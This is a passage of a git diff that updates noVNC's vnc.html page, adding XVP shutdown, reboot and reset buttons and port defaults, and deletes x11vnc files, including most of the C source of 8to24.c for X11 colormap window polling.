- src='http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'></script>
- -->
- <script src="include/vnc.js"></script>
- </head>
+ <title>noVNC</title>
- <body style="margin: 0px;">
- <div id="noVNC_screen">
+ <meta charset="utf-8">
+
+ <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame
+ Remove this if you use the .htaccess -->
+ <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
+
+ <!-- Apple iOS Safari settings -->
+ <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+ <meta name="apple-mobile-web-app-capable" content="yes" />
+ <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
+ <!-- App Start Icon -->
+ <link rel="apple-touch-startup-image" href="images/screen_320x460.png" />
+ <!-- For iOS devices set the icon to use if user bookmarks app on their homescreen -->
+ <link rel="apple-touch-icon" href="images/screen_57x57.png">
+ <!--
+ <link rel="apple-touch-icon-precomposed" href="images/screen_57x57.png" />
+ -->
+
+
+ <!-- Stylesheets -->
+ <link rel="stylesheet" href="include/base.css" title="plain">
+
+ <!--
+ <script type='text/javascript'
+ src='http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'></script>
+ -->
+ <script src="include/util.js"></script>
+</head>
+
+<body style="margin: 0px;">
+ <div id="noVNC_screen">
<div id="noVNC_status_bar" class="noVNC_status_bar" style="margin-top: 0px;">
<table border=0 width="100%"><tr>
- <td><div id="noVNC_status">Loading</div></td>
+ <td><div id="noVNC_status" style="position: relative; height: auto;">
+ Loading
+ </div></td>
<td width="1%"><div id="noVNC_buttons">
<input type=button value="Send CtrlAltDel"
id="sendCtrlAltDelButton">
+ <span id="noVNC_xvp_buttons">
+ <input type=button value="Shutdown"
+ id="xvpShutdownButton">
+ <input type=button value="Reboot"
+ id="xvpRebootButton">
+ <input type=button value="Reset"
+ id="xvpResetButton">
+ </span>
</div></td>
</tr></table>
</div>
@@ -40,6 +74,11 @@
/*global window, $, Util, RFB, */
"use strict";
+ // Load supporting scripts
+ Util.load_scripts(["webutil.js", "base64.js", "websock.js", "des.js",
+ "keysymdef.js", "keyboard.js", "input.js", "display.js",
+ "jsunzip.js", "rfb.js"]);
+
var rfb;
function passwordRequired(rfb) {
@@ -60,6 +99,18 @@
rfb.sendCtrlAltDel();
return false;
}
+ function xvpShutdown() {
+ rfb.xvpShutdown();
+ return false;
+ }
+ function xvpReboot() {
+ rfb.xvpReboot();
+ return false;
+ }
+ function xvpReset() {
+ rfb.xvpReset();
+ return false;
+ }
function updateState(rfb, state, oldstate, msg) {
var s, sb, cad, level;
s = $D('noVNC_status');
@@ -74,8 +125,12 @@
default: level = "warn"; break;
}
- if (state === "normal") { cad.disabled = false; }
- else { cad.disabled = true; }
+ if (state === "normal") {
+ cad.disabled = false;
+ } else {
+ cad.disabled = true;
+ xvpInit(0);
+ }
if (typeof(msg) !== 'undefined') {
sb.setAttribute("class", "noVNC_status_" + level);
@@ -83,17 +138,42 @@
}
}
- window.onload = function () {
+ function xvpInit(ver) {
+ var xvpbuttons;
+ xvpbuttons = $D('noVNC_xvp_buttons');
+ if (ver >= 1) {
+ xvpbuttons.style.display = 'inline';
+ } else {
+ xvpbuttons.style.display = 'none';
+ }
+ }
+
+ window.onscriptsload = function () {
var host, port, password, path, token;
$D('sendCtrlAltDelButton').style.display = "inline";
$D('sendCtrlAltDelButton').onclick = sendCtrlAltDel;
+ $D('xvpShutdownButton').onclick = xvpShutdown;
+ $D('xvpRebootButton').onclick = xvpReboot;
+ $D('xvpResetButton').onclick = xvpReset;
+ WebUtil.init_logging(WebUtil.getQueryVar('logging', 'warn'));
document.title = unescape(WebUtil.getQueryVar('title', 'noVNC'));
// By default, use the host and port of server that served this file
host = WebUtil.getQueryVar('host', window.location.hostname);
port = WebUtil.getQueryVar('port', window.location.port);
+ // if port == 80 (or 443) then it won't be present and should be
+ // set manually
+ if (!port) {
+ if (window.location.protocol.substring(0,5) == 'https') {
+ port = 443;
+ }
+ else if (window.location.protocol.substring(0,4) == 'http') {
+ port = 80;
+ }
+ }
+
// If a token variable is passed in, set the parameter in a cookie.
// This is used by nova-novncproxy.
token = WebUtil.getQueryVar('token', null);
@@ -103,6 +183,7 @@
password = WebUtil.getQueryVar('password', '');
path = WebUtil.getQueryVar('path', 'websockify');
+
if ((!host) || (!port)) {
updateState('failed',
"Must specify host and port in URL");
@@ -112,11 +193,13 @@
rfb = new RFB({'target': $D('noVNC_canvas'),
'encrypt': WebUtil.getQueryVar('encrypt',
(window.location.protocol === "https:")),
+ 'repeaterID': WebUtil.getQueryVar('repeaterID', ''),
'true_color': WebUtil.getQueryVar('true_color', true),
'local_cursor': WebUtil.getQueryVar('cursor', true),
'shared': WebUtil.getQueryVar('shared', true),
'view_only': WebUtil.getQueryVar('view_only', false),
- 'updateState': updateState,
+ 'onUpdateState': updateState,
+ 'onXvpInit': xvpInit,
'onPasswordRequired': passwordRequired});
rfb.connect(host, port, password, path);
};
@@ -124,4 +207,3 @@
</body>
</html>
-
diff --git a/x11vnc/.cvsignore b/x11vnc/.cvsignore
deleted file mode 100644
index 27e9b7a..0000000
--- a/x11vnc/.cvsignore
+++ /dev/null
@@ -1,5 +0,0 @@
-.deps
-Makefile
-Makefile.in
-x11vnc
-
diff --git a/x11vnc/8to24.c b/x11vnc/8to24.c
deleted file mode 100644
index 30c3da2..0000000
--- a/x11vnc/8to24.c
+++ /dev/null
@@ -1,2155 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- 8to24.c -- */
-#include "x11vnc.h"
-#include "cleanup.h"
-#include "scan.h"
-#include "util.h"
-#include "win_utils.h"
-#include "xwrappers.h"
-
-int multivis_count = 0;
-int multivis_24count = 0;
-
-void check_for_multivis(void);
-void bpp8to24(int, int, int, int);
-void mark_8bpp(int);
-
-#if SKIP_8TO24
-void check_for_multivis(void) {}
-void bpp8to24(int x, int y, int z, int t) {}
-void mark_8bpp(int x) {}
-#else
-/* lots... */
-
-static void set_root_cmap(void);
-static int check_pointer_in_depth24(void);
-static void parse_cmap8to24(void);
-static void set_poll_fb(void);
-static int check_depth(Window win, Window top, int doall);
-static int check_depth_win(Window win, Window top, XWindowAttributes *attr);
-static XImage *p_xi(XImage *xi, Visual *visual, int win_depth, int *w);
-static int poll_line(int x1, int x2, int y1, int n, sraRegionPtr mod);
-static void poll_line_complement(int x1, int x2, int y1, sraRegionPtr mod);
-static int poll_8bpp(sraRegionPtr, int);
-static void poll_8bpp_complement(sraRegionPtr);
-static void mark_rgn_rects(sraRegionPtr mod);
-static int get_8bpp_regions(int validate);
-static int get_cmap(int j, Colormap cmap);
-static void do_8bpp_region(int n, sraRegionPtr mark);
-static XImage *cmap_xi(XImage *xi, Window win, int win_depth);
-static void transform_rect(sraRect rect, Window win, int win_depth, int cm);
-
-/* struct for keeping info about the 8bpp windows: */
-typedef struct window8 {
- Window win;
- Window top;
- int depth;
- int x, y;
- int w, h;
- int map_state;
- Colormap cmap;
- Bool map_installed;
- int fetched;
- double last_fetched;
- sraRegionPtr clip_region;
-} window8bpp_t;
-
-enum mark_8bpp_modes {
- MARK_8BPP_ALL = 0,
- MARK_8BPP_POINTER,
- MARK_8BPP_TOP
-};
-
-
-#define NCOLOR 256
-
-static Colormap root_cmap = 0;
-static unsigned int *root_rgb = NULL;
-
-static void set_root_cmap(void) {
-#if NO_X11
- RAWFB_RET_VOID
- return;
-#else
- static time_t last_set = 0;
- time_t now = time(NULL);
- XWindowAttributes attr;
- static XColor *color = NULL;
- int redo = 0;
- int ncolor = 0;
-
- RAWFB_RET_VOID
-
- if (depth > 16) {
- ncolor = NCOLOR;
- } else if (depth > 8) {
- ncolor = 1 << depth;
- } else {
- ncolor = NCOLOR;
- }
-
- if (!root_rgb) {
- root_rgb = (unsigned int *) malloc(ncolor * sizeof(unsigned int));
- }
- if (!color) {
- color = (XColor *) malloc(ncolor * sizeof(XColor));
- }
-
- if (now > last_set + 10) {
- redo = 1;
- }
- if (! root_cmap || redo) {
- X_LOCK;
- if (! valid_window(window, &attr, 1)) {
- X_UNLOCK;
- return;
- }
- if (attr.colormap) {
- int i, ncells = ncolor;
-
- if (depth < 8) {
- ncells = CellsOfScreen(ScreenOfDisplay(dpy, scr));
- }
- for (i=0; i < ncells; i++) {
- color[i].pixel = i;
- color[i].pad = 0;
- }
- last_set = now;
- root_cmap = attr.colormap;
- XQueryColors(dpy, root_cmap, color, ncells);
- for (i=0; i < ncells; i++) {
- unsigned int red, green, blue;
- /* strip out highest 8 bits of values: */
- red = (color[i].red & 0xff00) >> 8;
- green = (color[i].green & 0xff00) >> 8;
- blue = (color[i].blue & 0xff00) >> 8;
-
- /*
- * the maxes should be at 255 already,
- * but just in case...
- */
- red = (main_red_max * red )/255;
- green = (main_green_max * green)/255;
- blue = (main_blue_max * blue )/255;
-
- /* shift them over and or together for value */
- red = red << main_red_shift;
- green = green << main_green_shift;
- blue = blue << main_blue_shift;
-
- /* store it in the array to be used later */
- root_rgb[i] = red | green | blue;
- }
- }
- X_UNLOCK;
- }
-#endif /* NO_X11 */
-}
-
-/* fixed size array. Will primarily hold visible 8bpp windows */
-#define MAX_8BPP_WINDOWS 64
-static window8bpp_t windows_8bpp[MAX_8BPP_WINDOWS];
-
-static int db24 = 0;
-static int xgetimage_8to24 = 1;
-static double poll_8to24_delay = POLL_8TO24_DELAY;
-static double cache_win = 0.0;
-static int level2_8to24 = 0;
-
-static int check_pointer_in_depth24(void) {
- int tries = 0, in_24 = 0;
- XWindowAttributes attr;
- Window c, w;
- double now = dnow();
-
- c = window;
-
- RAWFB_RET(0)
-
- if (now > last_keyboard_time + 1.0 && now > last_pointer_time + 1.0) {
- return 0;
- }
-
- X_LOCK;
- while (c && tries++ < 3) {
- c = query_pointer(c);
- if (valid_window(c, &attr, 1)) {
- if (attr.depth == 24) {
- in_24 = 1;
- break;
- }
- }
- }
- X_UNLOCK;
- if (in_24) {
- int x1, y1, x2, y2;
- X_LOCK;
- xtranslate(c, window, 0, 0, &x1, &y1, &w, 1);
- X_UNLOCK;
- x2 = x1 + attr.width;
- y2 = y1 + attr.height;
- x1 = nfix(x1, dpy_x);
- y1 = nfix(y1, dpy_y);
- x2 = nfix(x2, dpy_x+1);
- y2 = nfix(y2, dpy_y+1);
- mark_rect_as_modified(x1, y1, x2, y2, 0);
-
-if (db24 > 1) fprintf(stderr, "check_pointer_in_depth24 %d %d %d %d\n", x1, y1, x2, y2);
-
- return 1;
- }
- return 0;
-}
-
-static void parse_cmap8to24(void) {
- if (cmap8to24_str) {
- char *p, *str = strdup(cmap8to24_str);
- p = strtok(str, ",");
- /* defaults: */
- db24 = 0;
- xgetimage_8to24 = 1;
- poll_8to24_delay = POLL_8TO24_DELAY;
- level2_8to24 = 0;
- cache_win = 0.0;
- while (p) {
- if (strstr(p, "dbg=") == p) {
- db24 = atoi(p + strlen("dbg="));
- } else if (strstr(p, "poll=") == p) {
- poll_8to24_delay = atof(p + strlen("poll="));
- } else if (strstr(p, "cachewin=") == p) {
- cache_win = atof(p + strlen("cachewin="));
- } else if (!strcmp(p, "nogetimage")) {
- xgetimage_8to24 = 0;
- } else if (!strcmp(p, "level2")) {
- level2_8to24 = 1;
- }
- p = strtok(NULL, ",");
- }
- free(str);
- } else {
- if (getenv("DEBUG_8TO24") != NULL) {
- db24 = atoi(getenv("DEBUG_8TO24"));
- }
- if (getenv("NOXGETIMAGE_8TO24") != NULL) {
- xgetimage_8to24 = 0;
- }
- }
-}
-
-static char *poll8_fb = NULL, *poll24_fb = NULL;
-static int poll8_fb_w = 0, poll8_fb_h = 0;
-static int poll24_fb_w = 0, poll24_fb_h = 0;
-
-static void pfb(int fac, char **fb, int *w, int *h) {
- if (! *fb || *w != dpy_x || *h != dpy_y) {
- if (*fb) {
- free(*fb);
- }
- *fb = (char *) calloc(fac * dpy_x * dpy_y, 1);
- *w = dpy_x;
- *h = dpy_y;
- }
-}
-
-static void set_poll_fb(void) {
- /* create polling framebuffers or recreate if too small. */
-
- if (! xgetimage_8to24) {
- return; /* this saves a bit of RAM */
- }
- pfb(4, &poll24_fb, &poll24_fb_w, &poll24_fb_h);
- if (depth > 8 && depth <= 16) {
- pfb(2, &poll8_fb, &poll8_fb_w, &poll8_fb_h); /* 2X for rare 16bpp colormap case */
- } else {
- pfb(1, &poll8_fb, &poll8_fb_w, &poll8_fb_h);
- }
-}
-
-int MV_glob = 0;
-int MV_count;
-int MV_hit;
-double MV_start;
-
-void check_for_multivis(void) {
-#if NO_X11
- RAWFB_RET_VOID
- return;
-#else
- XWindowAttributes attr;
- int doall = 0;
- int k, i, cnt, diff;
- static int first = 1;
- static Window *stack_old = NULL;
- static int stack_old_len = 0;
- static double last_parse = 0.0;
- static double last_update = 0.0;
- static double last_clear = 0.0;
- static double last_poll = 0.0;
- static double last_fixup = 0.0;
- static double last_call = 0.0;
- static double last_query = 0.0;
- double now = dnow();
- double delay;
-
- RAWFB_RET_VOID
-
- if (now > last_parse + 1.0) {
- last_parse = now;
- parse_cmap8to24();
- }
-if (db24 > 2) fprintf(stderr, " check_for_multivis: %.4f\n", now - last_call);
- last_call = now;
-
- if (first) {
- int i;
- /* initialize 8bpp window table: */
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
- windows_8bpp[i].win = None;
- windows_8bpp[i].top = None;
- windows_8bpp[i].map_state = IsUnmapped;
- windows_8bpp[i].cmap = (Colormap) 0;
- windows_8bpp[i].fetched = 0;
- windows_8bpp[i].last_fetched = -1.0;
- windows_8bpp[i].clip_region = NULL;
- }
- set_poll_fb();
-
- first = 0;
- doall = 1; /* fetch everything first time */
- }
-
- if (wireframe_in_progress) {
- return;
- }
-
- set_root_cmap();
-
- /*
- * allocate an "old stack" list of all toplevels. we compare
- * this to the current stack to guess stacking order changes.
- */
- if (!stack_old || stack_old_len < stack_list_len) {
- int n = stack_list_len;
- if (n < 256) {
- n = 256;
- }
- if (stack_old) {
- free(stack_old);
- }
- stack_old = (Window *) calloc(n*sizeof(Window), 1);
- stack_old_len = n;
- }
-
- /* fill the old stack with visible windows: */
- cnt = 0;
- for (k=0; k < stack_list_num; k++) {
- if (stack_list[k].valid &&
- stack_list[k].map_state == IsViewable) {
- stack_old[cnt++] = stack_list[k].win;
- }
- }
-
- /* snapshot + update the current stacking order: */
- /* TUNABLE */
- if (poll_8to24_delay >= POLL_8TO24_DELAY) {
- delay = 3.0 * poll_8to24_delay;
- } else {
- delay = 3.0 * POLL_8TO24_DELAY; /* 0.15 */
- }
- if (doall || now > last_update + delay) {
- snapshot_stack_list(0, 0.0);
- update_stack_list();
- last_update = now;
- }
-
- /* look for differences in the visible toplevels: */
- diff = 0;
- cnt = 0;
- for (k=0; k < stack_list_num; k++) {
- if (stack_list[k].valid && stack_list[k].map_state ==
- IsViewable) {
- if (stack_old[cnt] != stack_list[k].win) {
- diff = 1;
- break;
- }
- cnt++;
- }
- }
-
- multivis_count = 0;
- multivis_24count = 0;
-
- /*
- * every 10 seconds we try to clean out and also refresh the window
- * info in the 8bpp window table:
- */
- if (now > last_clear + 10) {
- last_clear = now;
- X_LOCK;
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
- Window w = windows_8bpp[i].win;
- if (! valid_window(w, &attr, 1)) {
- /* catch windows that went away: */
- windows_8bpp[i].win = None;
- windows_8bpp[i].top = None;
- windows_8bpp[i].map_state = IsUnmapped;
- windows_8bpp[i].cmap = (Colormap) 0;
- windows_8bpp[i].fetched = 0;
- windows_8bpp[i].last_fetched = -1.0;
- }
- }
- X_UNLOCK;
- }
-
- MV_count = 0;
- MV_hit = 0;
- MV_start = dnow();
-
- set_root_cmap();
-
- /* loop over all toplevels, both 8 and 24 depths: */
-
- X_LOCK; /* a giant lock around the whole activity */
-
- for (k=0; k < stack_list_num; k++) {
- Window r, parent;
- Window *list0;
- Status rc;
- unsigned int nc0;
- int i1;
- XErrorHandler old_handler;
- double delay;
-
- Window win = stack_list[k].win;
-
- /* TUNABLE */
- if (poll_8to24_delay >= POLL_8TO24_DELAY) {
- delay = 1.5 * poll_8to24_delay;
- } else {
- delay = 1.5 * POLL_8TO24_DELAY; /* 0.075 */
- }
-
- if (now < last_query + delay) {
- break;
- }
-
- if (win == None) {
- continue;
- }
-
- if (stack_list[k].map_state != IsViewable) {
- int i;
- /*
- * if the toplevel became unmapped, mark it
- * for the children as well...
- */
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
- if (windows_8bpp[i].top == win) {
- windows_8bpp[i].map_state =
- stack_list[k].map_state;
- }
- }
- }
-
- if (check_depth(win, win, doall)) {
- /*
- * returns 1 if no need to recurse down e.g. It
- * is 8bpp and we assume all lower ones are too.
- */
- continue;
- }
-
- /* we recurse up to two levels down from stack_list windows */
-
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
- rc = XQueryTree_wr(dpy, win, &r, &parent, &list0, &nc0);
- XSetErrorHandler(old_handler);
-
- if (! rc || trapped_xerror) {
- trapped_xerror = 0;
- continue;
- }
- trapped_xerror = 0;
-
- /* loop over grandchildren of rootwin: */
- for (i1=0; i1 < (int) nc0; i1++) {
- Window win1 = list0[i1];
- Window *list1;
- unsigned int nc1;
- int i2;
-
- if (check_depth(win1, win, doall)) {
- continue;
- }
-
- if (level2_8to24) {
- continue;
- }
-
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
- rc = XQueryTree_wr(dpy, win1, &r, &parent, &list1, &nc1);
- XSetErrorHandler(old_handler);
-
- if (! rc || trapped_xerror) {
- trapped_xerror = 0;
- continue;
- }
- trapped_xerror = 0;
-
- /* loop over great-grandchildren of rootwin: */
- for (i2=0; i2< (int) nc1; i2++) {
- Window win2 = list1[i2];
-
- if (check_depth(win2, win, doall)) {
- continue;
- }
- /* more? Which wm does this? */
- }
- if (nc1) {
- XFree_wr(list1);
- }
- }
- if (nc0) {
- XFree_wr(list0);
- }
- }
- X_UNLOCK;
-
- last_query = dnow();
-
-MV_glob += MV_count;
-if (0) fprintf(stderr, "MV_count: %d hit: %d %.4f %10.2f\n", MV_count, MV_hit, last_query - MV_start, MV_glob / (last_query - x11vnc_start));
-
- if (screen_fixup_8 > 0.0 && now > last_fixup + screen_fixup_8) {
- last_fixup = now;
- mark_8bpp(MARK_8BPP_ALL);
- last_poll = now;
-
- } else if (poll_8to24_delay > 0.0) {
- int area = -1;
- int validate = 0;
-
- if (diff && multivis_count) {
- validate = 1;
- }
- if (now > last_poll + poll_8to24_delay) {
- sraRegionPtr mod;
-
- last_poll = now;
- mod = sraRgnCreate();
- area = poll_8bpp(mod, validate);
- if (depth == 24) {
- poll_8bpp_complement(mod);
- }
- mark_rgn_rects(mod);
- sraRgnDestroy(mod);
- }
- if (0 && area < dpy_x * dpy_y / 2 && diff && multivis_count) {
- mark_8bpp(MARK_8BPP_POINTER);
- last_poll = now;
- }
-
- } else if (diff && multivis_count) {
- mark_8bpp(MARK_8BPP_ALL);
- last_poll = now;
-
- } else if (depth <= 16 && multivis_24count) {
- static double last_check = 0.0;
- if (now > last_check + 0.4) {
- last_check = now;
- if (check_pointer_in_depth24()) {
- last_poll = now;
- }
- }
- }
-if (0) fprintf(stderr, "done: %.4f\n", dnow() - last_query);
-#endif /* NO_X11 */
-}
-
-#define VW_CACHE_MAX 1024
-static XWindowAttributes vw_cache_attr[VW_CACHE_MAX];
-static Window vw_cache_win[VW_CACHE_MAX];
-
-static void set_attr(XWindowAttributes *attr, int j) {
- memcpy((void *) (vw_cache_attr+j), (void *) attr,
- sizeof(XWindowAttributes));
-}
-#if 0
-static int get_attr(XWindowAttributes *attr, int j) {
- memcpy((void *) attr, (void *) (vw_cache_attr+j),
- sizeof(XWindowAttributes));
- return 1;
-}
-#endif
-
-static XWindowAttributes wattr;
-
-static XWindowAttributes *vw_lookup(Window win) {
- static double last_purge = 0.0;
- double now;
- int i, j, k;
-
- if (win == None) {
- return NULL;
- }
-
- now = dnow();
- if (now > last_purge + cache_win) {
- last_purge = now;
- for (i=0; i<VW_CACHE_MAX; i++) {
- vw_cache_win[i] = None;
- }
- }
-
- j = -1;
- k = -1;
- for (i=0; i<VW_CACHE_MAX; i++) {
- if (vw_cache_win[i] == win) {
- j = i;
- break;
- } else if (vw_cache_win[i] == None) {
- k = i;
- break;
- }
- }
-
- if (j >= 0) {
-MV_hit++;
- return vw_cache_attr+j;
-
- } else if (k >= 0) {
- XWindowAttributes attr2;
- int rc = valid_window(win, &attr2, 1);
- if (rc) {
- vw_cache_win[k] = win;
- set_attr(&attr2, k);
- return vw_cache_attr+k;
- } else {
- return NULL;
- }
- } else {
- /* Full */
- int rc = valid_window(win, &wattr, 1);
- if (rc) {
- return &wattr;
- } else {
- return NULL;
- }
- }
-}
-
-static int check_depth(Window win, Window top, int doall) {
- XWindowAttributes attr, *pattr;
-
- /* first see if it is (still) a valid window: */
-MV_count++;
-
- if (cache_win > 0.0) {
- pattr = vw_lookup(win);
- if (pattr == NULL) {
- return 1; /* indicate done */
- }
- } else {
- if (! valid_window(win, &attr, 1)) {
- return 1; /* indicate done */
- }
- pattr = &attr;
- }
-
- if (! doall && pattr->map_state != IsViewable) {
- /*
- * store results anyway... this may lead to table
- * filling up, but currently this allows us to update
- * state of onetime mapped windows.
- */
- check_depth_win(win, top, pattr);
- return 1; /* indicate done */
- } else if (check_depth_win(win, top, pattr)) {
- return 1; /* indicate done */
- } else {
- return 0; /* indicate not done */
- }
-}
-
-static int check_depth_win(Window win, Window top, XWindowAttributes *attr) {
- int store_it = 0;
- /*
- * only store windows with depth not equal to the default visual's
- * depth note some windows can have depth == 0 ... (skip them).
- */
- if (attr->depth > 0) {
- if (depth == 24 && attr->depth != 24) {
- store_it = 1;
- } else if (depth <= 16 && root_cmap && attr->colormap != root_cmap) {
- store_it = 1;
- }
- }
-
- if (store_it) {
- int i, j = -1, none = -1, nomap = -1;
- int newc = 0;
- if (attr->map_state == IsViewable) {
- /* count the visible ones: */
- multivis_count++;
- if (attr->depth == 24) {
- multivis_24count++;
- }
-if (db24 > 1) fprintf(stderr, "multivis: 0x%lx %d\n", win, attr->depth);
- }
-
- /* try to find a table slot for this window: */
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
- if (none < 0 && windows_8bpp[i].win == None) {
- /* found first None */
- none = i;
- }
- if (windows_8bpp[i].win == win) {
- /* found myself */
- j = i;
- break;
- }
- if (nomap < 0 && windows_8bpp[i].win != None &&
- windows_8bpp[i].map_state != IsViewable) {
- /* found first unmapped */
- nomap = i;
- }
- }
- if (j < 0) {
- if (attr->map_state != IsViewable) {
- /* no slot and not visible: not worth keeping */
- return 1;
- } else if (none >= 0) {
- /* put it in the first None slot */
- j = none;
- newc = 1;
- } else if (nomap >=0) {
- /* put it in the first unmapped slot */
- j = nomap;
- }
- /* otherwise we cannot store it... */
- }
-
-if (db24 > 1) fprintf(stderr, "multivis: 0x%lx ms: %d j: %d no: %d nm: %d dep=%d\n", win, attr->map_state, j, none, nomap, attr->depth);
-
- /* store if if we found a slot j: */
- if (j >= 0) {
- Window w;
- int x, y;
- int now_vis = 0;
-
- if (attr->map_state == IsViewable &&
- windows_8bpp[j].map_state != IsViewable) {
- now_vis = 1;
- }
-if (db24 > 1) fprintf(stderr, "multivis: STORE 0x%lx j: %3d ms: %d dep=%d\n", win, j, attr->map_state, attr->depth);
- windows_8bpp[j].win = win;
- windows_8bpp[j].top = top;
- windows_8bpp[j].depth = attr->depth;
- windows_8bpp[j].map_state = attr->map_state;
- windows_8bpp[j].cmap = attr->colormap;
- windows_8bpp[j].map_installed = attr->map_installed;
- windows_8bpp[j].w = attr->width;
- windows_8bpp[j].h = attr->height;
- windows_8bpp[j].fetched = 1;
- windows_8bpp[j].last_fetched = dnow();
-
- /* translate x y to be WRT the root window (not parent) */
- xtranslate(win, window, 0, 0, &x, &y, &w, 1);
- windows_8bpp[j].x = x;
- windows_8bpp[j].y = y;
-
- if (newc || now_vis) {
-if (db24) fprintf(stderr, "new/now_vis: 0x%lx %d/%d\n", win, newc, now_vis);
- /* mark it immediately if a new one: */
- X_UNLOCK; /* dont forget the giant lock */
- mark_rect_as_modified(x, y, x + attr->width,
- y + attr->height, 0);
- X_LOCK;
- }
- } else {
- /*
- * Error: could not find a slot.
- * perhaps keep age and expire old ones??
- */
-if (db24) fprintf(stderr, "multivis: CANNOT STORE 0x%lx j=%d\n", win, j);
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
-if (db24 > 1) fprintf(stderr, " ------------ 0x%lx i=%d\n", windows_8bpp[i].win, i);
- }
-
- }
- return 1;
- }
- return 0;
-}
-
-/* polling line XImage */
-static XImage *p_xi(XImage *xi, Visual *visual, int win_depth, int *w) {
- RAWFB_RET(NULL)
-
-#if NO_X11
- if (!xi || !visual || !win_depth || !w) {}
- return NULL;
-#else
- if (xi == NULL || *w < dpy_x) {
- char *d;
- if (xi) {
- XDestroyImage(xi);
- }
- if (win_depth != 24) {
- if (win_depth > 8) {
- d = (char *) malloc(dpy_x * 2);
- } else {
- d = (char *) malloc(dpy_x * 1);
- }
- } else {
- d = (char *) malloc(dpy_x * 4);
- }
- *w = dpy_x;
- xi = XCreateImage(dpy, visual, win_depth, ZPixmap, 0, d,
- dpy_x, 1, 8, 0);
- }
- return xi;
-#endif /* NO_X11 */
-}
-
-static int poll_line(int x1, int x2, int y1, int n, sraRegionPtr mod) {
-#if NO_X11
- RAWFB_RET(1)
- if (!x1 || !x2 || !y1 || !n || !mod) {}
- return 1;
-#else
- int fac, n_off, w, xo, yo;
- char *poll_fb, *dst, *src;
- int w2, xl, xh, stride = 32;
- int inrun = 0, rx1 = -1, rx2 = -1;
-
- static XImage *xi8 = NULL, *xi24 = NULL, *xi_r;
- static int xi8_w = 0, xi24_w = 0;
-
- XErrorHandler old_handler = NULL;
- XImage *xi;
- Window c, win = windows_8bpp[n].win;
-
- static XWindowAttributes attr;
- static Window last_win = None;
- static double last_time = 0.0;
- double now;
-
- sraRegionPtr rect;
- int mx1, mx2, my1, my2;
- int ns = NSCAN/2;
-
- RAWFB_RET(1)
-
- if (win == None) {
- return 1;
- }
- if (windows_8bpp[n].map_state != IsViewable) {
- return 1;
- }
- if (! xgetimage_8to24) {
- return 1;
- }
-
- X_LOCK;
- now = dnow();
- if (last_win != None && win == last_win && now < last_time + 0.5) {
- ; /* use previous attr */
- } else {
- if (! valid_window(win, &attr, 1)) {
- X_UNLOCK;
- last_win = None;
- return 0;
- }
- last_time = now;
- last_win = win;
- }
-
- if (attr.depth > 16 && attr.depth != 24) {
- X_UNLOCK;
- return 1;
- } else if (attr.depth <= 16) {
- xi = xi8 = p_xi(xi8, attr.visual, attr.depth, &xi8_w);
-
- poll_fb = poll8_fb;
- if (attr.depth > 8) {
- fac = 2;
- } else {
- fac = 1;
- }
- n_off = poll8_fb_w * y1 + x1;
- } else {
- xi = xi24 = p_xi(xi24, attr.visual, 24, &xi24_w);
-
- poll_fb = poll24_fb;
- fac = 4;
- n_off = poll24_fb_w * y1 + x1;
- }
-
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
-
- /* xtranslate() not used to save two XSetErrorHandler calls */
- XTranslateCoordinates(dpy, win, window, 0, 0, &xo, &yo, &c);
-
- xo = x1 - xo;
- yo = y1 - yo;
- w = x2 - x1;
-
- if (trapped_xerror || xo < 0 || yo < 0 || xo + w > attr.width) {
-if (db24 > 2) fprintf(stderr, "avoid bad match...\n");
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
- X_UNLOCK;
- return 0;
- }
-
- trapped_xerror = 0;
- xi_r = XGetSubImage(dpy, win, xo, yo, w, 1, AllPlanes, ZPixmap, xi,
- 0, 0);
- XSetErrorHandler(old_handler);
-
- X_UNLOCK;
-
- if (! xi_r || trapped_xerror) {
- trapped_xerror = 0;
- return 0;
- }
- trapped_xerror = 0;
-
- src = xi->data;
- dst = poll_fb + fac * n_off;
-
- inrun = 0;
-
- xl = x1;
- while (xl < x2) {
- xh = xl + stride;
- if (xh > x2) {
- xh = x2;
- }
- w2 = xh - xl;
- if (memcmp(dst, src, fac * w2)) {
- if (inrun) {
- rx2 = xh;
- } else {
- rx1 = xl;
- rx2 = xh;
- inrun = 1;
- }
- } else {
- if (inrun) {
- mx1 = rx1;
- mx2 = rx2;
- my1 = nfix(y1 - ns, dpy_y);
- my2 = nfix(y1 + ns, dpy_y+1);
-
- rect = sraRgnCreateRect(mx1, my1, mx2, my2);
- sraRgnOr(mod, rect);
- sraRgnDestroy(rect);
- inrun = 0;
- }
- }
-
- xl += stride;
- dst += fac * stride;
- src += fac * stride;
- }
-
- if (inrun) {
- mx1 = rx1;
- mx2 = rx2;
